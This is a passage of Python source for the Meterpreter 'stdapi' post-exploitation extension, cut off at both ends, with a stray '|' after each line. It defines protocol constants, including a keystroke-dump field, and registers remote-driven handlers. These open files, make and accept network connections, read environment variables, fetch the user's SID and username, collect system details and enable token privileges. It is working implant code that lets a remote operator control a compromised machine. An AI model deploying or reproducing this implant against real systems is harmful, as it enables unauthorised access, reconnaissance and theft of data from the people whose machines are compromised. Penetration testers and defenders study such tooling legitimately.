TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048
|
|
|
|
##
|
|
# Environment
|
|
##
|
|
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
|
|
TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101
|
|
TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102
|
|
|
|
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
|
|
|
##
|
|
# Process
|
|
##
|
|
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000
|
|
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
|
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
|
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
|
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
|
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005
|
|
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
|
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
|
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
|
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
|
|
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
|
|
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
|
|
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
|
|
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
|
|
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
|
|
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
|
|
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
|
|
|
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
|
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
|
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
|
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
|
|
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
|
|
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
|
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
|
|
|
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
|
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
|
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
|
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511
|
|
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512
|
|
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
|
|
|
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
|
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
|
|
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
|
|
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
|
|
|
|
TLV_TYPE_TERMINAL_ROWS = TLV_META_TYPE_UINT | 2600
|
|
TLV_TYPE_TERMINAL_COLUMNS = TLV_META_TYPE_UINT | 2601
|
|
|
|
##
|
|
# Ui
|
|
##
|
|
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
|
|
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
|
|
|
|
TLV_TYPE_DESKTOP = TLV_META_TYPE_GROUP | 3004
|
|
TLV_TYPE_DESKTOP_SESSION = TLV_META_TYPE_UINT | 3005
|
|
TLV_TYPE_DESKTOP_STATION = TLV_META_TYPE_STRING | 3006
|
|
TLV_TYPE_DESKTOP_NAME = TLV_META_TYPE_STRING | 3007
|
|
|
|
##
|
|
# Event Log
|
|
##
|
|
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
|
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001
|
|
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
|
|
|
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
|
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
|
|
|
|
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
|
|
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
|
|
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
|
|
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
|
|
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
|
|
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
|
|
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
|
|
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
|
|
|
|
##
|
|
# Power
|
|
##
|
|
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
|
|
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
|
|
|
|
##
|
|
# Sys
|
|
##
|
|
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
|
|
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
|
|
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
|
|
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
|
|
PROCESS_EXECUTE_FLAG_SUBSHELL = (1 << 6)
|
|
PROCESS_EXECUTE_FLAG_PTY = (1 << 7)
|
|
|
|
PROCESS_ARCH_UNKNOWN = 0
|
|
PROCESS_ARCH_X86 = 1
|
|
PROCESS_ARCH_X64 = 2
|
|
PROCESS_ARCH_IA64 = 3
|
|
|
|
##
|
|
# Errors
|
|
##
|
|
ERROR_SUCCESS = 0
|
|
# not defined in original C implementation
|
|
ERROR_FAILURE = 1
|
|
|
|
ERROR_INSUFFICIENT_BUFFER = 0x0000007a
|
|
ERROR_NOT_SUPPORTED = 0x00000032
|
|
ERROR_NO_DATA = 0x000000e8
|
|
|
|
# Special return value to match up with Windows error codes for network
|
|
# errors.
|
|
ERROR_CONNECTION_ERROR = 10000
|
|
|
|
# Windows Constants
|
|
GAA_FLAG_SKIP_ANYCAST = 0x0002
|
|
GAA_FLAG_SKIP_MULTICAST = 0x0004
|
|
GAA_FLAG_INCLUDE_PREFIX = 0x0010
|
|
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
|
|
LOCALE_SISO639LANGNAME = 0x0059
|
|
LOCALE_SISO3166CTRYNAME = 0x005A
|
|
PROCESS_TERMINATE = 0x0001
|
|
PROCESS_VM_READ = 0x0010
|
|
PROCESS_QUERY_INFORMATION = 0x0400
|
|
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
|
VER_NT_WORKSTATION = 0x0001
|
|
VER_NT_DOMAIN_CONTROLLER = 0x0002
|
|
VER_NT_SERVER = 0x0003
|
|
VER_PLATFORM_WIN32s = 0x0000
|
|
VER_PLATFORM_WIN32_WINDOWS = 0x0001
|
|
VER_PLATFORM_WIN32_NT = 0x0002
|
|
|
|
# Windows Access Controls
|
|
MAXIMUM_ALLOWED = 0x02000000
|
|
|
|
WIN_AF_INET = 2
|
|
WIN_AF_INET6 = 23
|
|
|
|
UNIVERSAL_NAME_INFO_LEVEL = 1
|
|
|
|
DRIVE_REMOTE = 4
|
|
|
|
# Linux Constants
|
|
RT_TABLE_MAIN = 254
|
|
RTA_UNSPEC = 0
|
|
RTA_DST = 1
|
|
RTA_SRC = 2
|
|
RTA_IIF = 3
|
|
RTA_OIF = 4
|
|
RTA_GATEWAY = 5
|
|
RTA_PRIORITY = 6
|
|
RTA_PREFSRC = 7
|
|
RTA_METRICS = 8
|
|
RTA_MULTIPATH = 9
|
|
RTA_PROTOINFO = 10 #/* no longer used */
|
|
RTA_FLOW = 11
|
|
RTA_CACHEINFO = 12
|
|
RTA_SESSION = 13 #/* no longer used */
|
|
RTA_MP_ALGO = 14 #/* no longer used */
|
|
RTA_TABLE = 15
|
|
RTM_GETLINK = 18
|
|
RTM_GETADDR = 22
|
|
RTM_GETROUTE = 26
|
|
|
|
IFLA_ADDRESS = 1
|
|
IFLA_BROADCAST = 2
|
|
IFLA_IFNAME = 3
|
|
IFLA_MTU = 4
|
|
|
|
IFA_ADDRESS = 1
|
|
IFA_LABEL = 3
|
|
|
|
meterpreter.register_extension('stdapi')
|
|
|
|
# Meterpreter register function decorators
|
|
register_function = meterpreter.register_function
|
|
def register_function_if(condition):
|
|
if condition:
|
|
return meterpreter.register_function
|
|
else:
|
|
return lambda function: function
|
|
|
|
def byref_at(obj, offset=0):
|
|
address = ctypes.addressof(obj) + offset
|
|
return ctypes.pointer(type(obj).from_address(address))
|
|
|
|
def bytes_to_ctarray(bytes_):
|
|
ctarray = (ctypes.c_byte * len(bytes_))()
|
|
ctypes.memmove(ctypes.byref(ctarray), bytes_, len(bytes_))
|
|
return ctarray
|
|
|
|
def calculate_32bit_netmask(bits):
|
|
if bits == 32:
|
|
netmask = 0xffffffff
|
|
else:
|
|
netmask = ((0xffffffff << (32 - (bits % 32))) & 0xffffffff)
|
|
return struct.pack('!I', netmask)
|
|
|
|
def calculate_128bit_netmask(bits):
|
|
part = calculate_32bit_netmask(bits)
|
|
part = struct.unpack('!I', part)[0]
|
|
if bits >= 96:
|
|
netmask = struct.pack('!iiiI', -1, -1, -1, part)
|
|
elif bits >= 64:
|
|
netmask = struct.pack('!iiII', -1, -1, part, 0)
|
|
elif bits >= 32:
|
|
netmask = struct.pack('!iIII', -1, part, 0, 0)
|
|
else:
|
|
netmask = struct.pack('!IIII', part, 0, 0, 0)
|
|
return netmask
|
|
|
|
def ctarray_to_bytes(ctarray):
|
|
if not len(ctarray):
|
|
# work around a bug in v3.1 & v3.2 that results in a segfault when len(ctarray) == 0
|
|
return bytes()
|
|
bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray)
|
|
return bytes_[:]
|
|
|
|
def ctstruct_pack(structure):
|
|
return ctypes.string_at(ctypes.byref(structure), ctypes.sizeof(structure))
|
|
|
|
def ctstruct_unpack(structure, raw_data):
|
|
if not isinstance(structure, ctypes.Structure):
|
|
structure = structure()
|
|
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
|
|
return structure
|
|
|
|
def get_stat_buffer(path):
|
|
si = os.stat(path)
|
|
rdev = 0
|
|
if hasattr(si, 'st_rdev'):
|
|
rdev = si.st_rdev
|
|
st_buf = struct.pack('<III', int(si.st_dev), int(si.st_mode), int(si.st_nlink))
|
|
st_buf += struct.pack('<IIIQ', int(si.st_uid), int(si.st_gid), int(rdev), long(si.st_ino))
|
|
st_buf += struct.pack('<QQQQ', long(si.st_size), long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
|
return st_buf
|
|
|
|
def get_token_user(handle):
|
|
TOKEN_QUERY = 0x0008
|
|
TokenUser = 1
|
|
advapi32 = ctypes.windll.advapi32
|
|
advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
|
|
|
|
token_handle = ctypes.c_void_p()
|
|
if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
|
|
return None
|
|
token_user_buffer = (ctypes.c_byte * 4096)()
|
|
dw_returned = ctypes.c_uint32()
|
|
result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
|
|
ctypes.windll.kernel32.CloseHandle(token_handle)
|
|
if not result:
|
|
return None
|
|
return ctstruct_unpack(TOKEN_USER, token_user_buffer)
|
|
|
|
def get_username_from_token(token_user):
|
|
user = (ctypes.c_char * 512)()
|
|
domain = (ctypes.c_char * 512)()
|
|
user_len = ctypes.c_uint32()
|
|
user_len.value = ctypes.sizeof(user)
|
|
domain_len = ctypes.c_uint32()
|
|
domain_len.value = ctypes.sizeof(domain)
|
|
use = ctypes.c_ulong()
|
|
use.value = 0
|
|
LookupAccountSid = ctypes.windll.advapi32.LookupAccountSidA
|
|
LookupAccountSid.argtypes = [ctypes.c_void_p] * 7
|
|
if not LookupAccountSid(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
|
|
return None
|
|
return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))
|
|
|
|
def get_windll_lang():
|
|
if not hasattr(ctypes.windll.kernel32, 'GetSystemDefaultLangID'):
|
|
return None
|
|
kernel32 = ctypes.windll.kernel32
|
|
kernel32.GetSystemDefaultLangID.restype = ctypes.c_uint16
|
|
lang_id = kernel32.GetSystemDefaultLangID()
|
|
|
|
size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, 0, 0)
|
|
ctry_name = (ctypes.c_wchar * size)()
|
|
kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, ctry_name, size)
|
|
|
|
size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, 0, 0)
|
|
lang_name = (ctypes.c_wchar * size)()
|
|
kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, lang_name, size)
|
|
|
|
if not (len(ctry_name.value) and len(lang_name)):
|
|
return 'Unknown'
|
|
return lang_name.value + '_' + ctry_name.value
|
|
|
|
def get_windll_os_name():
|
|
os_info = windll_RtlGetVersion()
|
|
if not os_info:
|
|
return None
|
|
is_workstation = os_info.wProductType == VER_NT_WORKSTATION
|
|
os_name = None
|
|
if os_info.dwMajorVersion == 3:
|
|
os_name = 'NT 3.51'
|
|
elif os_info.dwMajorVersion == 4:
|
|
if os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS:
|
|
os_name = '95'
|
|
elif os_info.dwMinorVersion == 10:
|
|
os_name = '98'
|
|
elif os_info.dwMinorVersion == 90:
|
|
os_name = 'ME'
|
|
elif os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_NT:
|
|
os_name = 'NT 4.0'
|
|
elif os_info.dwMajorVersion == 5:
|
|
if os_info.dwMinorVersion == 0:
|
|
os_name = '2000'
|
|
elif os_info.dwMinorVersion == 1:
|
|
os_name = 'XP'
|
|
elif os_info.dwMinorVersion == 2:
|
|
os_name = '.NET Server'
|
|
elif os_info.dwMajorVersion == 6:
|
|
if os_info.dwMinorVersion == 0:
|
|
os_name = ('Vista' if is_workstation else '2008')
|
|
elif os_info.dwMinorVersion == 1:
|
|
os_name = ('7' if is_workstation else '2008 R2')
|
|
elif os_info.dwMinorVersion == 2:
|
|
os_name = ('8' if is_workstation else '2012')
|
|
elif os_info.dwMinorVersion == 3:
|
|
os_name = ('8.1' if is_workstation else '2012 R2')
|
|
elif os_info.dwMajorVersion == 10:
|
|
if os_info.dwMinorVersion == 0:
|
|
os_name = ('10' if is_workstation else '2016')
|
|
|
|
if not os_name:
|
|
os_name = 'Unknown'
|
|
os_name = 'Windows ' + os_name
|
|
if os_info.szCSDVersion:
|
|
os_name += ' (Build ' + str(os_info.dwBuildNumber) + ', ' + os_info.szCSDVersion + ')'
|
|
else:
|
|
os_name += ' (Build ' + str(os_info.dwBuildNumber) + ')'
|
|
return os_name
|
|
|
|
def getaddrinfo(host, port=0, family=0, socktype=0, proto=0, flags=0):
|
|
addresses = []
|
|
for info in socket.getaddrinfo(host, port, family, socktype, proto, flags):
|
|
addresses.append({
|
|
'family': info[0],
|
|
'socktype': info[1],
|
|
'proto': info[2],
|
|
'cannonname': info[3],
|
|
'sockaddr': info[4]
|
|
})
|
|
return addresses
|
|
|
|
def getaddrinfo_from_request(request, socktype, proto):
|
|
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
|
|
if peer_host:
|
|
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
|
|
peer_address_info = getaddrinfo(peer_host, peer_port, socktype=socktype, proto=proto)
|
|
peer_address_info = peer_address_info[0] if peer_address_info else None
|
|
else:
|
|
peer_address_info = None
|
|
|
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value')
|
|
if local_host:
|
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
|
|
local_address_info = getaddrinfo(local_host, local_port, socktype=socktype, proto=proto)
|
|
local_address_info = local_address_info[0] if local_address_info else None
|
|
else:
|
|
local_address_info = None
|
|
return peer_address_info, local_address_info
|
|
|
|
def netlink_request(req_type, req_data):
|
|
# See RFC 3549
|
|
NLM_F_REQUEST = 0x0001
|
|
NLM_F_ROOT = 0x0100
|
|
NLM_F_MATCH = 0x0200
|
|
NLM_F_DUMP = NLM_F_ROOT | NLM_F_MATCH
|
|
NLMSG_ERROR = 0x0002
|
|
NLMSG_DONE = 0x0003
|
|
|
|
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
|
|
sock.bind((os.getpid(), 0))
|
|
seq = int(time.time())
|
|
if isinstance(req_data, ctypes.Structure):
|
|
req_data = ctstruct_pack(req_data)
|
|
nlmsg = ctstruct_pack(NLMSGHDR(len=ctypes.sizeof(NLMSGHDR) + len(req_data), type=req_type, flags=(NLM_F_REQUEST | NLM_F_DUMP), seq=seq, pid=0))
|
|
sock.send(nlmsg + req_data)
|
|
responses = []
|
|
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
|
return responses
|
|
raw_response_data = sock.recv(0xfffff)
|
|
response = ctstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
|
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
|
while response.type != NLMSG_DONE:
|
|
if response.type == NLMSG_ERROR:
|
|
debug_print('received NLMSG_ERROR from a netlink request')
|
|
break
|
|
response_data = raw_response_data[:(response.len - 16)]
|
|
responses.append(response_data)
|
|
raw_response_data = raw_response_data[len(response_data):]
|
|
if not len(raw_response_data):
|
|
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
|
break
|
|
raw_response_data = sock.recv(0xfffff)
|
|
response = ctstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
|
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
|
sock.close()
|
|
return responses
|
|
|
|
def resolve_host(hostname, family):
|
|
address_info = getaddrinfo(hostname, family=family, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
|
|
address = address_info[0]['sockaddr'][0]
|
|
return {'family': family, 'address': address, 'packed_address': inet_pton(family, address)}
|
|
|
|
def tlv_pack_local_addrinfo(sock):
|
|
local_host, local_port = sock.getsockname()[:2]
|
|
return tlv_pack(TLV_TYPE_LOCAL_HOST, local_host) + tlv_pack(TLV_TYPE_LOCAL_PORT, local_port)
|
|
|
|
def windll_RtlGetVersion():
|
|
if not has_windll:
|
|
return None
|
|
os_info = OSVERSIONINFOEXW()
|
|
os_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
|
|
if ctypes.windll.ntdll.RtlGetVersion(ctypes.byref(os_info)) != 0:
|
|
return None
|
|
return os_info
|
|
|
|
def windll_GetNativeSystemInfo():
|
|
if not has_windll:
|
|
return None
|
|
sysinfo = SYSTEM_INFO()
|
|
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
|
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
|
|
|
def windll_GetVersion():
|
|
if not has_windll:
|
|
return None
|
|
dwVersion = ctypes.windll.kernel32.GetVersion()
|
|
dwMajorVersion = (dwVersion & 0x000000ff)
|
|
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
|
|
dwBuild = ((dwVersion & 0xffff0000) >> 16)
|
|
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
|
|
|
|
def enable_privilege(name, enable=True):
|
|
TOKEN_ALL_ACCESS = 0xf01ff
|
|
SE_PRIVILEGE_ENABLED = 0x00000002
|
|
|
|
GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
|
|
GetCurrentProcess.restype = ctypes.c_void_p
|
|
|
|
OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken
|
|
OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
|
|
OpenProcessToken.restype = ctypes.c_bool
|
|
|
|
LookupPrivilegeValue = ctypes.windll.advapi32.LookupPrivilegeValueW
|
|
LookupPrivilegeValue.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.POINTER(LUID)]
|
|
LookupPrivilegeValue.restype = ctypes.c_bool
|
|
|
|
AdjustTokenPrivileges = ctypes.windll.advapi32.AdjustTokenPrivileges
|
|
AdjustTokenPrivileges.argtypes = [ctypes.c_void_p, ctypes.c_bool, PTOKEN_PRIVILEGES, ctypes.c_uint32, PTOKEN_PRIVILEGES, ctypes.POINTER(ctypes.c_uint32)]
|
|
AdjustTokenPrivileges.restype = ctypes.c_bool
|
|
|
|
token = ctypes.c_void_p()
|
|
success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token)
|
|
if not success:
|
|
return False
|
|
|
|
luid = LUID()
|
|
name = ctypes.create_unicode_buffer(name)
|
|
success = LookupPrivilegeValue(None, name, luid)
|
|
if not success:
|
|
return False
|
|
|
|
size = ctypes.sizeof(TOKEN_PRIVILEGES)
|
|
size += ctypes.sizeof(LUID_AND_ATTRIBUTES)
|
|
buffer = ctypes.create_string_buffer(size)
|
|
tokenPrivileges = ctypes.cast(buffer, PTOKEN_PRIVILEGES).contents
|
|
tokenPrivileges.PrivilegeCount = 1
|
|
tokenPrivileges.get_array()[0].Luid = luid
|
|
tokenPrivileges.get_array()[0].Attributes = SE_PRIVILEGE_ENABLED if enable else 0
|
|
return AdjustTokenPrivileges(token, False, tokenPrivileges, 0, None, None)
|
|
|
|
@register_function
|
|
def channel_open_stdapi_fs_file(request, response):
|
|
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
|
if fmode:
|
|
fmode = fmode['value']
|
|
fmode = fmode.replace('bb', 'b')
|
|
else:
|
|
fmode = 'rb'
|
|
file_h = open(unicode(fpath), fmode)
|
|
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def channel_open_stdapi_net_tcp_client(request, response):
|
|
peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
|
|
retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
|
|
if not peer_address_info:
|
|
return ERROR_CONNECTION_ERROR, response
|
|
connected = False
|
|
for _ in range(retries + 1):
|
|
sock = socket.socket(peer_address_info['family'], peer_address_info['socktype'], peer_address_info['proto'])
|
|
sock.settimeout(3.0)
|
|
if local_address_info:
|
|
sock.bind(local_address_info['sockaddr'])
|
|
try:
|
|
sock.connect(peer_address_info['sockaddr'])
|
|
connected = True
|
|
break
|
|
except:
|
|
pass
|
|
if not connected:
|
|
return ERROR_CONNECTION_ERROR, response
|
|
channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
response += tlv_pack_local_addrinfo(sock)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def channel_open_stdapi_net_tcp_server(request, response):
|
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
|
|
local_address_info = getaddrinfo(local_host, local_port, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
|
|
if not local_address_info:
|
|
return ERROR_FAILURE, response
|
|
local_address_info = local_address_info[0]
|
|
server_sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
|
|
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
if local_address_info['family'] == socket.AF_INET6 and hasattr(socket, 'IPV6_V6ONLY'):
|
|
server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
|
|
server_sock.bind(local_address_info['sockaddr'])
|
|
server_sock.listen(socket.SOMAXCONN)
|
|
channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
response += tlv_pack_local_addrinfo(server_sock)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def channel_open_stdapi_net_udp_client(request, response):
|
|
peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
|
|
if not local_address_info:
|
|
return ERROR_FAILURE, response
|
|
sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
|
|
sock.bind(local_address_info['sockaddr'])
|
|
peer_address = peer_address_info['sockaddr'] if peer_address_info else None
|
|
channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, peer_address))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
response += tlv_pack_local_addrinfo(sock)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_getenv(request, response):
|
|
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
|
pgroup = bytes()
|
|
env_var = env_var['value']
|
|
env_var = env_var.replace('%', '')
|
|
env_var = env_var.replace('$', '')
|
|
env_val = os.environ.get(env_var)
|
|
if env_val:
|
|
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
|
|
pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
|
|
response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_config_getsid(request, response):
|
|
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
|
if not token:
|
|
return error_result_windows(), response
|
|
sid_str = ctypes.c_char_p()
|
|
ConvertSidToStringSid = ctypes.windll.advapi32.ConvertSidToStringSidA
|
|
ConvertSidToStringSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
|
|
if not ConvertSidToStringSid(token.User.Sid, ctypes.byref(sid_str)):
|
|
return error_result_windows(), response
|
|
sid_str = str(ctypes.string_at(sid_str))
|
|
response += tlv_pack(TLV_TYPE_SID, sid_str)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_getuid(request, response):
|
|
if has_pwd:
|
|
username = pwd.getpwuid(os.getuid()).pw_name
|
|
elif has_windll:
|
|
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
|
if not token:
|
|
return error_result_windows(), response
|
|
username = get_username_from_token(token)
|
|
if not username:
|
|
return error_result_windows(), response
|
|
else:
|
|
username = getpass.getuser()
|
|
response += tlv_pack(TLV_TYPE_USER_NAME, username)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_localtime(request, response):
|
|
localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime())
|
|
direction = "-" if time.timezone > 0 else "+"
|
|
localtime += " (UTC{0}{1})".format(direction, int(abs(time.timezone / 36)))
|
|
response += tlv_pack(TLV_TYPE_LOCAL_DATETIME, localtime)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_config_sysinfo(request, response):
|
|
uname_info = platform.uname()
|
|
response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
|
|
os_name = uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]
|
|
lang = None
|
|
if 'LANG' in os.environ:
|
|
lang = os.environ['LANG'].split('.', 1)[0]
|
|
if has_windll:
|
|
os_name = get_windll_os_name() or os_name
|
|
lang = (get_windll_lang() or lang)
|
|
if lang:
|
|
response += tlv_pack(TLV_TYPE_LANG_SYSTEM, lang)
|
|
response += tlv_pack(TLV_TYPE_OS_NAME, os_name)
|
|
response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_close(request, response):
|
|
proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
|
|
if not proc_h_id:
|
|
return ERROR_SUCCESS, response
|
|
proc_h_id = proc_h_id['value']
|
|
if proc_h_id in meterpreter.processes:
|
|
del meterpreter.processes[proc_h_id]
|
|
